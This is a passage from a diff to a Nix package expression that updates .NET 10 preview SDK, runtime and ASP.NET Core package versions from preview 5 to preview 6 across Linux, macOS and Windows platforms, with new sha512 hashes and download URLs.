+        hash = "sha512-Ivl/uKKvVrgGxfbC8SSz5N1NZRi39PQ5ZXfsECiSsiNR2ls02Wy2Icy5mLRUGCFY4FMILAKsgfJRKejafqGxyA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-4XoD65xIjjxalBaqZp+wGp2IGgbo3MVSs0cPV3LRuyuyci3TEZmyYj63ZbA7zJcjzXJXDhgjQVX14JPx195ZCw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-zTiRlyK4ElT/MES3AX1bLRcuX3lY3NXlwL89YTyEjuHrqjCpxEbHfsoznqYd7zLAF1itzvNnxDkqDPoXat/zZA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-TP1b+02yPlLhvj16Hq2Fwn8Qxq+NXvLM0QxxIiFCa8RHijb9WmSRvzNwUp1HLxjArzgbvCDlTmwlMsh2LbwSvg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-sSi6F1x2UVJe5Jp8RbURsNGVxFFPyxq6P8ZlV6r9dimYM2KkDyEOtcZ0hHSOtmMU3rghzZYksvSKv7+9fAYUNA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-DoHyLSBIYsD1mfbHnJDKi7PvqPOSd5ySoDeI2m0pv55Dx46CQdks14lIuusttk46bvBUFfp63KILpbmQzU1ovQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Qj4yn5t5k+lGY8dBPwh0jLQOXoilcVvwpmyxJp8LJHoOM8EmGjRoiCy68sRXGTQMt5d3iNIdV93rX+fXu20rlw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Kbdr7rNaKTP8XaMzevtG7RPH+UQ4IQQd6No7fzBN7/VStj1uPc4Y7OMxrDtnGZFbGo06IbTtPSAxcrWj6BE4hg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-b26YbRN+y0LrdVq32iV7gUmi8sY4vY+P8GvaqiPTcJBH20OSfrsvDhyM08qMs6hCDo17xL5hFdLt9BSBfqcrOw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-3ShS2dKWGFmMgI76TuN1kYWzDpumT9ToxNVxMJTt7I6t+vICEVbwWXZPi2cD7ZWHrzi3/tIgSVzzHNFazj13oQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-IoNNvrZ/pKBwn/XSvDp1saM2XHk1ZOKxrA4lDyrL10/s4IS8hRo/Yv3qs+ihWpwVStORW3lh0YIxQhMDHbMkzw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-1U//TasFxoxn0VJjA/iPzzJDnQenarO74bvPMraRrQfGqR4t2AEZA1gLgV5Mz38LVB0irpvxdSPoEW4keNA0tw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-/D+xqMtDuo8ji4FPJm5EsEORBGEsbcHHYIjZDiEHP7ltIexg/oOSwuyvepvV+mK46Q4uyQU9zuBVZaG5FdKU0Q==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-KIydC5/Xl87tFKN6pESgrcGatj0zcf1bzgBjlx+qGr3vk90EHRV2yk67hLok5jzqlnbSBKrF7UwEau5Se0mMMQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kEXLQCzNVAnwkQ58qiO7lUOuO6WJSMlNmnQxx5o1RTiMIoqrgfjMazn5bpL5DPeZjMhWcB4kary/3Vkj06xRtA==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-sZMp5qkPDTK6VyqYT4a8sfGuFb5xkUo3aIaXDRjOAQznRmknxKycMQxV0pIxxFvVeyyBeqvxYslT2AhhL+EHAA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-z0RiU5O+4aelPS7+JYakKFXrmczOzTYp5sptrRoz8H2zM0Tbvwc7sX3pT2F5ZosBEaub37XJKrwSdvpdHoe6/w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-6Fblda7ZmvctHnrFBgbPI7ASkzBwA6PyENq/fBAKN9qXA1s3RcITpRE05IIiXWyWetC1069bbkZZ9IJ7fJGQpg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-CRQl1RVkbfaLnYOEO4ApZ6Py1OG8zJjwU0UkAcIhg7MqsGgZcathISOzlDYayxqdbp+Gga21aaJJZbL0TSPkdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-/NjUBaHpFjAiugmZ9mX5R/v5nfey41rWao/msHOt8/0nafBqGiOxAL31bTZbcgMIIt62lOKKxjWpJ1FBbSiM9w==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-UjSZtTgg1EEmNJeI+Esg2pMNjSb+lCy0VjwkUIVUJA6vezRNsb66NjsO5h4rvSMS2VhoKWGc7jbNV1AKRj891g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-R8veKCL6tx0+Mf0dnLS1S0vy2VyaAHkOEnLpr0P1lGuafdGUH6U9soRORAmN4Yd1Li4M0o9CP11Izunq/iG3Pg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-h8mVEj/5JRPzKcDpoHvnQ0wt7nn7+euuPKLDtWH4yiAWztH8CX6udfHqjIE103USfpfMKEEcEWRqOe877rgp2Q==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-z4nJcFunBtPJgbSQO+pZHZpYVH/hnDWBJtSf5J7pVCKzRYm3mJb1N0DIx/2wB1HtVg0cvw5K1QIBeQdBv5aRxA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-rXmRirmXSlmvrc4lY76+eK6UoXIi78sUSDggleEYs6Mwip1PWWQ1bg2Bi3tpxcRgF1MBOgHhiz37lybWaS1y7A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-6HRNrz6RVTrD5XQuq35HhBE5qC3iBts30LwDZ27eICx3xSoe3cVX+cDKyaQenobOwMCS/trHB1AvfkTTMI//gg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-sw5cXyvNbbXyDkmnPJqNgSnOeDFdl9VL7OfA4kA2GcPCujXhnElVmF48rwibVtoYmDUe940zKPjUAeuXmmOH+g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-TWpJ6I11YP653VrhYUiSQgI/mwCfk1t4ngl0DBGezsxuSsCW9SrVVsZaCoboAm2hKbGlgC620YQOCLUofZxaRQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-BYeSSlt4ck/kK7L9I+OYdI+aklnF9JDNaHyIQ+nea+E/e6qqENxlgDPzJKwTKAX4XdIF7Rc/Gk14PuYBpC7+Ew==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-I1h/tB0nh4CzOccmktX4KSZR9dNqYrqS1nZDs1ij889XtoIrYePtSnMasnxMfaeMp8vY7WCSKSWNPlynhOh15A==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-poxX0QwFAsVfHDfH85V0BVd5dEtlhr+/3rPhCe5qhkFscmUM31BcD1ABbzdxYt/PRJKnKMCCA/tOHhMU5rUieA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-5+DdKKWt/JW373FJ6r5+vrQRhv6xRAyQXPeHdrAEAP/wlK9AnJE9pYuHfQI2Trwqklak5O1Ag5GrRin/7oBVaw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kPsplrPdJ9VmThmB0kXTumkVG0WikMbkSRzGVyNU/Ploa9Cvv80PnCxF5VBAqRV1l/l3qBq9TZQV+7c6mIef9Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-zbq3UWa9qBoaEgYvvU1dR6V9YPIHs+liWOhUj5qfGBGKtZH8bTvpbNu0isYms0d9ML69aWTAiZg5C9rFP5hrag==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-LOoGtTUAg4/m9912v1s4yvh/wx64gRW6+052ZpHphizEbI/mvy5MGZpxS/WQHX34+RDXIG90CpdT7caL5iC1JA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-ksXckpgL0kdZEVVgAmofcEUL8GIxwPOGS2+UVN8Fo7gj+RV0zwbXSUH3v4KNIq/8ngFVOh6pQU22CzCwxoB3Pw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-t10QcEDpbrSvoe2BhUCtqOAqfXayzy9uujpiIeAdOyptGmBppA37G+F4cCRsIx6wzhCSrdPkYoh1KzD4rqqlyA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-bpdq72fgG+2FD5BC95wpEikX0hmTnypjS+ORXy9205+a3ElhlQXzwe1u/x3fNzAKOXVeGatHibdzAHrOmowARA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-ykHn7VUDn711h67XQd+nx5Tn0L0vYWQY8kKWqqTXm/mBEM5CjoMd9qft6jirusGORVxC5RAnUENDt5n48B4xfg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-ctmfELPcwp5Vaoh/3oQVoe2ZtivoZarY+XgVW3jC0hvn7qiensODQJP3am84kRu5l4k/c8MFU4HJkjFEopFKCw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-6G+05BJAEjErJMixdkEAndBjgaCe7WmasdRypKPtYRfzvPVExrq/nak0ZiaJ0Dd3WuYdbi69Qyeuhj7atnAImw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-v39otkbx5A2qerWBnqFu6ZtJYXy4sMvK/xv8RGMOgLR7VdcD5kwQpF80ldz7de23qh66nRFd9ONLKajtJqu58g==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-xjepU2UUYCP30YJHPdX0PN6C0ZqP2RKAEsJWpnNSlYQ8fcDHgy+l5ZTQPBD4egfWKlPCEtgSZod3p9nTggSoDA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-BHr5lNkp8ct/5a2kSVedpsTPKGhOm/ofmD0Tgb7a3vT0dEsuzH+4CwcH7/QmSfyr/TaJeiOzraBxIuQwGlDTHA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-NORvYn5NilmBCZzLwrWXEPI7WeEKKwIHzh5USjQHQLsSoiWcOSZVKQLkqK2baSFjGktLyHmHRUQ6VnTggDuPeg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-0kygUISqT53WxlL8CYxN7yR/imN0z3fKWgm3NKhUbW/nURkcvLz/J/ft64/ib26Ez4izYNnRqJOYdAaYWSd/XQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-tMM7GajJVqT1W1qOzxmrvYyFTsTiSNrXSl0ww5CYz/pKr05gvncBdK0kCD9lYHruYMPVdlYyBCAICFg1kvO7aA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-aOBEqQy1MMYXjG2tCc/yvCN+J5wRq0ZONOW8CTDIXJJVC7FDsW4gDHpa8B6j1D+Cfufw8lN9jymwmEkg+bfQeA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-wUU31YeB3hCc41XTTSXbhuYKKSbFv3rQb4aO0d93B1m8xPZfUpYA121ysuwaaiPgHvFK27wfYBHAAO82d1Tbsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-nx+JKXvSyhia1LdIRj0wN/Enu7hEoggBI0/kZtE+K/k5RJAX4An2GVirc5YvuM2FhWnEHC72Ex7Dg74Q4rFWBA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-eQ28Igd0kDwNnBeaXvQul2U4Za4KTkBJ2hF5gi6/8xL8tJAIvpSiuHrcspBB7oqr9/uOU6R4eR7gDmOH0OVRaQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Ik2gQHaJkzM45PFOzFW5nbTdXJLfEcBtWC077cD6Lzmdg0C+jRRYLpDtXfEqt9CMBdgGKYWR4KBLKubLiC7nsA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-zHJSkQl00ygE1BBWjjSZgQmT+rpX/ZoNvU3az2Vfk0D9tqM4+zQ0M0IdBw0Eu1Wr46LeifWIScp4pTvzBB0R/w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-YdnzOIgp1zhd9OUpcEQJ3/Fje9GviYa4/+bbn8StJgMK8RgR+9CTQeC1ePazCqKXQ7oYcXXjgchE8CbNsxRFfw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-RaDmfdtde+m27g31HXvBUJme7NUUT07bv5+Wp3mPH/FXE6tT8W1DvG9XNRcT2rIEDq24ktpfyBiNbN8fieBfqw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-39ITIAZNO9ZVKE6UY5KKSWvd3wiT1b6n0nUfApUCqMd5MlkExTuMKToY5J1CwWhDhWTq8d+q9USCO65MsUueIg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-723qKUmFeBKN0yfsf9zhP3k5ZKqK4UYvdKbDL80oyhzm4gQZ6tsUU4fHeHjJVJfqyN+wKS+R0WthyxhA9m07/g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-isbzkA/HOGFEqZLugW6V9C7xx1RLA6p5v/YrdW9au1/RaCjS8OAS3/rcZKUT/lu6wubSGHaLdzWeqIwmWwgoaA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-hPcjYztP9miyYl+mqvTqoEqaa+fp+kCFVrROIwUEDBMNs6Urk76qsWJWE/uI9kLBh1zTHiDsWlXDiOXcftVBxA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-whDhidFeiAPcU/aSCxUcgfgjbISQw2IwR2fHhHB2vE5Yf97XEIzYACpi/skGYqBWroXYAmaU/Pm5oULMrEJrBQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-IG7yOIrrLUvA22aUGR7g9VtXK3WGCsID9TokGqET+LoO4QTLlFRYjbrsUkvttuGUHftOTgDh+4abzkcqaTfd6A==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-5N7wlWk5zDCzwqee5s8IDVfBMk7w50K6nuZworGH19K1q/twuuwflRIz07DBvNkhmR3E1ScSUYmZr3YP6o95aw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-3PwE2oDr4+n93nPZbHz1kgJkpdus91UR5IXKnMWMMxcEq+VgNvNpU4+M+khwPOXSmxK9LY6dsd9beQVIFtrDVg==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-R3bUl0oLPwjxngS/KqDYO6+lhhwhAmd5N4yOlOqdpgfm719+1vuCYc2VLOx9MIf+sh664VsfuByCI9H9oji9dg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-QVYtaGiLQ0bWTiav/cc2Ps+PQ9co8EmTW8NAzlf835camz7gdjZHKo5/z4FOVUHVftCY9vn2yBuBcwceI6f+Bg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Rw2ijbzcMUbs6vGu3AxIGNTNB+ZeZvuNNDvsj5XTOSL1o2ndU2eW343QAi1hcKXL1pc35eYJZWPOq/gQgBSnVg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-4ktCvzYslGK2G2CLPy4As8rbHGPtQw0RA5VC9WxRmRpDH/3cyicFbRaBRVc2y19p0tV9nMC9KdaFyptm80lQZg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-npo1EFBfZotj6hbR7uoArZeXEQtnKLarXYnez8JmmAZsRU4osSvYyg4Q/jGopjlFEuyixtWc3rb9rO6njYwxew==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-MPUbFdcUXGrfUpdNmcPvq+EdaBLcl+4+nsbUwftOT1041DpIUkFfDzgWNWVMjPG3Prf3K0iKPtvdKx9bdUlq6A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-tWtY3DpiKsyQNOg4NN0i/IpRpJ4vjmbDk7B+OdqQrFKGwR/HKXlJ9KOMrqU9LsvEFE2WAGAr/UH0r96iZFAxtA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-CtxI7P/Il0bLfPXN6ofeL4Vm4ISp3TjvRBZt8MkACaTErFseNiwIIAKNqZ+d9lIxj1MDGA5fCfVn/0PsGIksRg==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-9kI8hH2vS45pgael3UCyVCYvmYH/cXKVrFzh7toKoN1p40YPsTh6qHQRjO4W828zdy2g74T5Ct2ypgMGfdzyyQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-p18BC5bG9/0ktSBUvxZOqPpr9qkS0Z6G71GViCAzjtV+fBllt6OE7T0rSvOZ14FjZFcSqMA2HZ60I3H93cK6TA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-uvB/nzacyGad9m7Td8HxrJvyEB7ZNlpm/cxk/G0ufjzTXofWziHKzC0x/gPdc2tZIJQPOaAXOUAcJo1cl4FUug==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-T9Rhlb0Ivsaev2JNEKRLRoc5pyowBy+meS7GzijwfHOEviRw2rMpPNK+8DoygI8HRetSnjLghMlzdcfURF10LA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-DVJVHV78Nd30U6kiQon16sCPrXuaZLOgFQMLFcMQ4L07srDd962CfijiWAWY5tvl9oO2uWWY9PVqvMFyyMI/YA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-7SI6G+CVFjxrcgJny64fmvOp4Pz02EXrhlKJdEKoht+enh8c/1pY55cgR5jq9GWJ9iJNtV9/sDUiADK74NWWKQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-eFsS+N1nnCG+NGq0jcVhQ0vk3Vthyrz4FsHvZqb2YUwvTDBy8deJZxgaTWBuzRX0QjMgojXjNRCGnjEdtOesEw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-ui1NVLgK7tEN1Xv+MO8FRovfg1OR4sKGf5GXHz2CN88GLkzznp5m9sSAETN2IPueRV+aaQ8JFaLEEw1QOdlh2Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-7raTvTDZSJ5SNIPU5hug3kGnQqKpNhaBGrXH3v9a0usFRgBbvXEBS9U475YH0Xr3skdOkGESxV7TAzWqMwGGuw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kTwrqjATCL5woNksB+G2B39lOIUkxLnouFruipzLnsDKSxG50pKIhxWUkrwTfwatL/zQasE+aVlwEfSQAxQteQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-4zmNNMtPHXZpvAZSJcf+/gKIJ4bklQbhkwmllkboOyD+LHeHTeloBakB8IfVc1ZIPGeYmoH0rb7WNHuARTeAmQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-86sGYDN7tFGBhAUacYgosah0TTIMT1czQtKHb6vKXOGo1wWAYa+MsGXrdUA6o3rpvybL8rbRANQ1tarIfui4Bw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-7a8P7l3yuhiUZfRCSy2BCLedgSVCIOGktdjIniMlQGou7FON701ld0JNI4Stc/WdOQe92IfOBxA1r2mhhpm+Ow==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-VkXVbi8EbajQYu5pge5VCXxWGhHJtLivHM+rqHt78b8w2IpYfRACV7lqEU1COg9D3sZEG5oLOzKLCCN7lSiekA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-gSMZ9F1gZ/cuDLo+I9k0/9h8Yz0xFRsCapNNzP5J9VQYzbQMU5gFp4zY2X/+ZIUNVQtCrTgDNNy4RXoP1Lo0DA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-CUdm0Uw4kGSk6oVm8QZLSwxngMFmbNoiFXve2hT0/Csu4mJe6ttV8C/Y0VLPBJr3GmoovOzMeH3coQfEf2YvBA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-EbFp4C0rB5GEd/EXaXTA2LlQ4XwhhzBTIP2f8AQY/26hYOXTYYk+ssz3RGNh81vt3QbBZocwN//Nx+mvwf3+iA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kV1DnmxJrCauIvUfNe4wC4Yi888dzxxf7sYT4W/apnCSHvcjueYEZOGtoLSirsJJrn5aj9OeFVz+bAbd9nurxg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-q+bdIwi2R6egAwfMbBFpjjl2T2ADeMBumODqQQU5kO4p56bSYAN97c2lAnJ6I+8x6EkZ92SHlAVrmauH/XR+KQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-XsP6i0SHVuDjS0IWBC+/3QXDJO+3ARuFbPSu9fRjR5NkK5/A4lQpBWJRymTzqWHzmD0DLYMEfwR+3mdG2A/StQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-x4c4bS0IRW8ELlG0ND2Wz3zMbqZGDgSV5WAIJpJh97SvHVeCZIZ6FLB1EsYmeMTCp0zyt5ZYOMCTAMuBO7B3Tw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-UsW6m9/wuBUWM8SU/PHsn+9GQMRp4i00KfWDzE/s6rnCs40WRvy5Zcj923XMy05Bt04dhSrOOmDR1/vkydaysg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-WtDdm/9kPWVZziKlVSZ95cJYBFZ+O9acpLsnWu+a4C7uaR0PnVA5kdV/KPZpZp5ZuSGDzW7LuZy85e/zYU+q5g==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Btz15yrqllW8cQ82bDOMB+fo1ONv4j+BvpZGQTt4zwqgyxq3qznnxVHrMxiG+UUwhDlD4ajCGYuZCjHECODTHg==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-XLolCkHXsP9M0HBsRHxzWE7Gvc0PYUlYFOa2zbIM5YqrnS3fBuSkwuy4pGKB3ovNhCV5M6ZUDFkwsW6QFXtdkg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-bVGv/VP4T598HMR97vrcF8NxOv43rTn4RtH5JSm/Z/I2l6Jf4OsEmrP7ciCJho65xgG2NN7E80dAfv6Waan/DQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-hOgMOwwqKxKiEh51aoDrXS4ygFfByD8acPxhUPQKbuewoymPzWgF/BppaIyXJVFNvi4YMm0ANaQZ7asRv+6QLQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-OvOg+DllupzQyo2AiWJOWhd3G7sXoROVbGIbaO48l3cXJf+EkT3mwK0WyKNJo1SYDBSHP4PL3CELLyl7KeuBTA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-UYv0JpAcv6c5c7QdeM8xmQULQNxeIv87OYh7vVmy6mmGLVOipeDynwUrrZreyzr/Wl4i86//JsyEfzEWhViZZw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-di/eQOCbK7Gckc/GaFEJbeHA8xc1sjPYb4ZgSDQG8s/lSc5EocnPG6YSiPu5noCS/kl4caLJzu8mcNEbHo9fQg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-KdRROs3JSxZ4+Wgqww8EwWE4p/Redg9d47peJ7sjsgAlRqTK8WpPiN50vPu3pXwcuGZozJ5e7dsg1/In1q6lZA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-e4ZDOtOGLbKnCy90C+6+pAtkX/CJlAI3dPV3zF8Dtk4kCG6m+4TnbohG8z+CBaY4Tyh7HRXfCwA0sMhkZIhJ/A==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.5";
+  release_10_0 = "10.0.0-preview.6";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.5.25277.114";
+    version = "10.0.0-preview.6.25358.103";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
-        hash = "sha512-CDAgO72l8b5njlm/COTL9sDaUsmAnQJgBLou8OoP1qMIjI8CXXqSxmGbD7WG4HBW90laJtX9U3yuCatxyoFuHQ==";
